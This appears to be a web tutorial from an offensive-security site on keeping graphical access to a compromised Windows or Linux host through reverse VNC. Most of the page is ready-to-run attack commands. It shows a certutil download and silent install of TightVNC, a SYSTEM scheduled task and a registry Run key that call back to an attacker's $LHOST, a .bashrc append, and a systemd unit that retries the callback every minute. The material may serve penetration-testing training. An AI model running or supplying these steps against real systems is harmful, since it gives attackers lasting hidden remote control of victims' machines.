Skip to content
HackIndex logo

HackIndex

VNC Persistence – Graphical Re-Entry via Reverse VNC

3 min read May 21, 2026

Installing a VNC server on a compromised host as a startup service or scheduled task gives you a persistent graphical re-entry path. On reconnection — after a reboot, session expiry, or credential rotation — the VNC server calls back to your listener and hands you a full desktop without needing to re-exploit the target.

You need admin or SYSTEM to install a service or create privileged scheduled tasks. Standard user access is enough for per-user startup persistence.

Installing TightVNC as a Service (Windows)

Download TightVNC silently and install as a service:

C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST/tightvnc.msi C:\Windows\Temp\tightvnc.msi
C:\Users\Guest\Desktop> msiexec /i C:\Windows\Temp\tightvnc.msi /quiet /norestart ADDLOCAL=Server SERVER_REGISTER_AS_SERVICE=1 SERVER_ADD_FIREWALL_EXCEPTION=0 SET_USEVNCAUTHENTICATION=1 VALUE_OF_VNCAUTHENTICATION=1 SET_PASSWORD=1 VALUE_OF_PASSWORD=$PASSWORD

This installs TightVNC server as a Windows service that starts on boot and listens on port 5900. Set VALUE_OF_PASSWORD to a password of your choice.

Configuring Reverse Callback Persistence

For a reverse connection that calls back to your listener rather than waiting for inbound connections (better for NAT traversal), add a scheduled task that triggers the VNC connect-back on startup:

C:\Users\Guest\Desktop> schtasks /create /tn "VNCConnect" /tr "\"C:\Program Files\TightVNC\tvnserver.exe\" -controlapp -connect $LHOST:5500" /sc onstart /ru SYSTEM /f

Start your listener on your attack box before the target reboots:

┌──(kali㉿kali)-[~]
└─$ vncviewer -listen 0

On the next reboot or when you trigger the task manually:

C:\Users\Guest\Desktop> schtasks /run /tn "VNCConnect"

The target's VNC server calls back and your vncviewer receives the session.

x11vnc Persistence on Linux

On a Linux target with an active X session, install x11vnc and configure it to start on login:

┌──(kali㉿kali)-[~]
└─$ sudo apt install x11vnc -y
┌──(kali㉿kali)-[~]
└─$ x11vnc -storepasswd $PASSWORD ~/.vnc/passwd

Add a reverse connect call to ~/.bashrc or ~/.profile for per-user persistence:

┌──(kali㉿kali)-[~]
└─$ echo "x11vnc -connect $LHOST:5500 -display :0 -rfbauth ~/.vnc/passwd -once -bg 2>/dev/null" >> ~/.bashrc

This triggers on every new shell session for the user. For system-wide persistence on boot via systemd:

/etc/systemd/system/x11vnc.service

[Unit]
Description=VNC Persistence
After=network.target

[Service]
ExecStart=/usr/bin/x11vnc -connect $LHOST:5500 -display :0 -rfbauth /root/.vnc/passwd -once
Restart=on-failure
RestartSec=60

[Install]
WantedBy=multi-user.target
┌──(kali㉿kali)-[~]
└─$ systemctl enable x11vnc
┌──(kali㉿kali)-[~]
└─$ systemctl start x11vnc

Restart=on-failure with RestartSec=60 retries every minute if the connection fails — useful for keeping the callback alive when your listener is not running.

Registry Run Key for Lightweight Windows Persistence

For a less intrusive approach without installing a service, add a Run key that calls back on user login:

C:\Users\Guest\Desktop> REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VNCPersist /t REG_SZ /d "\"C:\Program Files\TightVNC\tvnviewer.exe\" $LHOST::5500" /f

This fires when the compromised user logs in. Lower privilege requirement but dependent on user login rather than system startup.

Cleanup

Remove the scheduled task:

C:\Users\Guest\Desktop> schtasks /delete /tn "VNCConnect" /f

Remove the registry key:

C:\Users\Guest\Desktop> REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VNCPersist /f

Uninstall the service:

C:\Users\Guest\Desktop> msiexec /x C:\Windows\Temp\tightvnc.msi /quiet

References